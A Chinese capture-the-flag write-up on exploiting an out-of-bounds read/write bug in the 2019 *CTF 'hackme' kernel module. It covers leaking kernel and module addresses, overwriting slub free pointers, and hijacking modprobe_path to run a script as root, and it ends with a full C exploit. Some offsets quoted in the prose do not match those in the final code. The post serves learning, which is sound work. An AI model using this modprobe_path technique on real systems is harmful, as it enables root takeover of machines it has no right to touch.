Linux Kernel Exploit 内核漏洞学习(4)-RW Any Memory

花落空庭饮青茶 画扇浅醉染风华
月照山林几时休 御剑江湖愁晚秋

简介

RW Any Memory的全称是Read and write any memory, 就是内存任意读写;通常这种类型的漏洞是由于越界读写或者错误引用了指针操作造成可以修改控制某个区域里面的指针,导致我们可以改变程序的常规读写区域甚至程序执行流程….
这里我是利用2019 STARCTF里面的hackeme来演示和学习这种漏洞的利用,其中环境和题目我放在github上面了.需要的话可以自行下载学习….

前置知识

modprobe_path

modprobe_path指向了一个内核在运行未知文件类型时运行的二进制文件;当内核运行一个错误格式的文件的时候,会调用这个modprobe_path所指向的二进制文件去,如果我们将这个字符串指向我们的自己的二进制文件,那么在发生错误的时候就可以执行我们自己二进制文件了….
这里modprobe_path的地址可以通过cat直接查看到:

1
cat /proc/kallsyms | grep modprobe_path

modprobe_path
原理代码如下,其实就是调用了call_usermodehelper函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __request_module(bool wait, const char *fmt, ...) 
{
va_list args;
char module_name[MODULE_NAME_LEN];
unsigned int max_modprobes;
int ret;
// char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
char *argv[] = { modprobe_path, "-q", "--", module_name, NULL };
static char *envp[] = { "HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL }; // 环境变量.
static atomic_t kmod_concurrent = ATOMIC_INIT(0);
#define MAX_KMOD_CONCURRENT 50 /* Completely arbitrary value - KAO */
static int kmod_loop_msg;

va_start(args, fmt);
ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);
va_end(args);
if (ret >= MODULE_NAME_LEN)
return -ENAMETOOLONG;
max_modprobes = min(max_threads/2, MAX_KMOD_CONCURRENT);
atomic_inc(&kmod_concurrent);
if (atomic_read(&kmod_concurrent) > max_modprobes) {
/* We may be blaming an innocent here, but unlikely */
if (kmod_loop_msg++ < 5)
printk(KERN_ERR
"request_module: runaway loop modprobe %s\n",
module_name);
atomic_dec(&kmod_concurrent);
return -ENOMEM;
}
ret = call_usermodehelper(modprobe_path, argv, envp, // 执行用户空间的应用程序
wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
atomic_dec(&kmod_concurrent);
return ret;
}

mod_tree

mod_tree是一块包含了模块指针的内存地址的内核地址,通过查看这个位置我们可以获取到ko文件的地址,在我们需要泄露模块基地址,但是在堆或栈中没有找到的时候可以查看这块内存区域:

1
grep mod_tree /proc/kallsyms

mod_tree

具体分析

首先我们看到这个hackme.ko文件开始传参大小为0x20:
send
通过分析我们得出ko文件通过一个数据结构heap作为交互接口:

1
2
3
4
5
6
struct heap{
size_t id;
size_t *data;
size_t len;
size_t offset;
};

heap
程序主要有4个功能:读,写,删除和申请:

cin_kernel

cin_kernel
主要是通过用户输入的长度,从用户态中写相应长度的数据到内核;

cout_kernel

cout_kernel
从内核中读出相应长度的数据到用户态;

delete

delete
这个代码主要是删除pool中的内容;

alloc

alloc
申请一块内存,地址和大小放在pool数组中;
所以整个程序的功能就是维护了一个全局数组pool,其第一个成员记录内核堆地址,第二个成员记录堆的大小,并且这个数组位于驱动的.bss段,这个我们可以通过gdb调试得出:
pool
所以比较明显的漏洞点:在cin_kernel和cout_kernel功能中存在明显的越界问题,当我们的offset是负数的时候,v17.offset + v17.len就可以向上越界读写任意长度的内存;

思路

因为slub分配器的分配原理之前提过,和fastbin的原理比较像,所以我们可以通过越界读写把pool数组的位置申请下来,那么我们就可以控制pool数组,然后将数组上面的指针改为其他地方的地址,那么我们就可以实现任意地址读写了;

泄露内核地址

因为我们可以堆地址往上越界读取数据,所以在堆地址上面的地址中一定存在有内核地址,而我们发现往上面偏移0x200的位置就存在有内核地址:
5
6
很明显这是应该内核地址,所以我们可以得到内核基地址并且得到mod_tree的地址:

1
2
3
4
5
cout_kernel(0,mem,0x200,-0x200);
kernel_addr = *((size_t *)mem) - 0x8472c0;
mod_tree_addr = kernel_addr + 0x811000;
printf("[*]kernel_addr: 0x%16llx\n",kernel_addr);
printf("[*]mod_tree_add: 0x%16llx\n",mod_tree_addr);

泄露模块地址

根据fastbin的特点,我们知道fd指针指向下一次我们可以申请的地址,如果我们将fd指针修改了,我们就可以拿到我们想要的内存了,同理我们这里也是通过覆盖fd指针为mod_tree的地址,然后就可以查看mod_tree的内容然后就可以得到模块地址了:
7
覆盖fd指针的方法是先通过向上越访问就可以修改到fd指针,然后alloc两个块,就可以拿到mod_tree了:

1
2
3
4
5
6
7
8
memset(mem,'B',0x100);
*((size_t *)mem) = mod_tree_addr + 0x50;
cin_kernel(4,mem,0x100,-0x100);
memset(mem,'C',0x100);
alloc(5,mem,0x100);
alloc(6,mem,0x100);
cout_kernel(6,mem,0x40,-0x40);
ko_addr = *((size_t *)mem) - 0x2338;

需要注意的是不要把mod_tree地址开始的位置全部覆盖了,应该往下偏移一定的位置,不然我们就得不到模块基地址了,有了模块基地址后我们就可以得到pool的地址了,就可以利用同样的方法把pool申请下来,然后我们就有任意地址读写的能力了;

Use Modprobe_path

通常我们有了任意地址读写能力后,我们可以通过修改cred结构体或者劫持VDSO来进行高权限的操作,但是这里我们使用一种比较有意思的方法来进行高权限的操作;
modprobe_path所指的位置通常是发生了错误的时候才调用的:
8
如果我们把这个位置换成我们最近的二进制文件,那么当发生错误的时候就会以root权限去运行我们二进制文件….
通常我们可以通过运行一个错误格式的二进制文件来触发调用modprobe_path的内容:

1
2
3
4
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/sir");
system("chmod +x /home/pwn/sir");

需要注意的是system里面的命令要程序的全路径,而不能是相对路径,cp命令要写成/bin/cp;
而修改modprobe_path内容的方法和泄露模块地址等用到的方法是一样的….

exp

exp.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>

struct heap{
size_t id;
size_t *data;
size_t len;
size_t offset;
};
int fd;

void alloc(int id, char *data, size_t len){
struct heap h;
h.id = id;
h.data = data;
h.len = len;
ioctl(fd,0x30000,&h);
}

void delete(int id){
struct heap h;
h.id = id;
ioctl(fd,0x30001,&h);
}

void cin_kernel(int id, char *data, size_t len, size_t offset){
struct heap h;
h.id = id;
h.data = data;
h.len = len;
h.offset = offset;
ioctl(fd,0x30002,&h);
}

void cout_kernel(int id, char *data, size_t len, size_t offset){
struct heap h;
h.id = id;
h.data = data;
h.len = len;
h.offset = offset;
ioctl(fd,0x30003,&h);
}

int main(){
fd = open("/dev/hackme",0);
size_t heap_addr,kernel_addr,mod_tree_addr,ko_addr,pool_addr;
char *mem = malloc(0x1000);
if(fd < 0){
printf("[*]OPEN KO ERROR!\n");
exit(0);
}
memset(mem,'A',0x100);
alloc(0,mem,0x100);
alloc(1,mem,0x100);
alloc(2,mem,0x100);
alloc(3,mem,0x100);
alloc(4,mem,0x100);

delete(1);
delete(3);
cout_kernel(4,mem,0x100,-0x100);
heap_addr = *((size_t *)mem) - 0x100;
printf("[*]heap_addr: 0x%16llx\n",heap_addr);

cout_kernel(0,mem,0x200,-0x200);
kernel_addr = *((size_t *)mem) - 0x0472c0;
mod_tree_addr = kernel_addr + 0x011000;
printf("[*]kernel_addr: 0x%16llx\n",kernel_addr);
printf("[*]mod_tree_add: 0x%16llx\n",mod_tree_addr);

memset(mem,'B',0x100);
*((size_t *)mem) = mod_tree_addr + 0x50;
cin_kernel(4,mem,0x100,-0x100);
memset(mem,'C',0x100);
alloc(5,mem,0x100);
alloc(6,mem,0x100);
cout_kernel(6,mem,0x40,-0x40);
ko_addr = *((size_t *)mem) - 0x2338;
pool_addr = ko_addr + 0x2400;
printf("[*]ko_addr: 0x%16llx\n",ko_addr);
printf("[*]pool_addr: 0x%16llx\n",pool_addr);

delete(2);
delete(5);
memset(mem,'D',0x100);
*((size_t *)mem) = pool_addr + 0xc0;
cin_kernel(4,mem,0x100,-0x100);
alloc(7,mem,0x100);
alloc(8,mem,0x100);

*((size_t *)mem) = kernel_addr + 0x03f960;
*((size_t *)(mem+0x8)) = 0x100;
cin_kernel(8,mem,0x10,0);

strncpy(mem,"/home/pwn/copy.sh\0",18);
cin_kernel(0xc,mem,18,0);
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/sir");
system("chmod +x /home/pwn/sir");

system("/home/pwn/sir");
system("cat /home/pwn/flag");
return 0;
}

编译:

1
gcc exp.c -o exp -w -static

运行:
9

总结

我不知道利用这种方法可不可以返回一个shell回来,我试过直接将modprobe_path改为/bin/sh去执行,但是不可以;不知道改为反弹shell会不会成功,因为我的环境运行有点问题,所以就没有测试,希望知道的师傅可以说一下….

文章目录
  1. 1. 简介
  2. 2. 前置知识
    1. 2.1. modprobe_path
    2. 2.2. mod_tree
  3. 3. 具体分析
    1. 3.1. cin_kernel
    2. 3.2. cout_kernel
    3. 3.3. delete
    4. 3.4. alloc
  4. 4. 思路
    1. 4.1. 泄露内核地址
    2. 4.2. 泄露模块地址
  5. 5. Use Modprobe_path
  6. 6. exp
  7. 7. 总结
,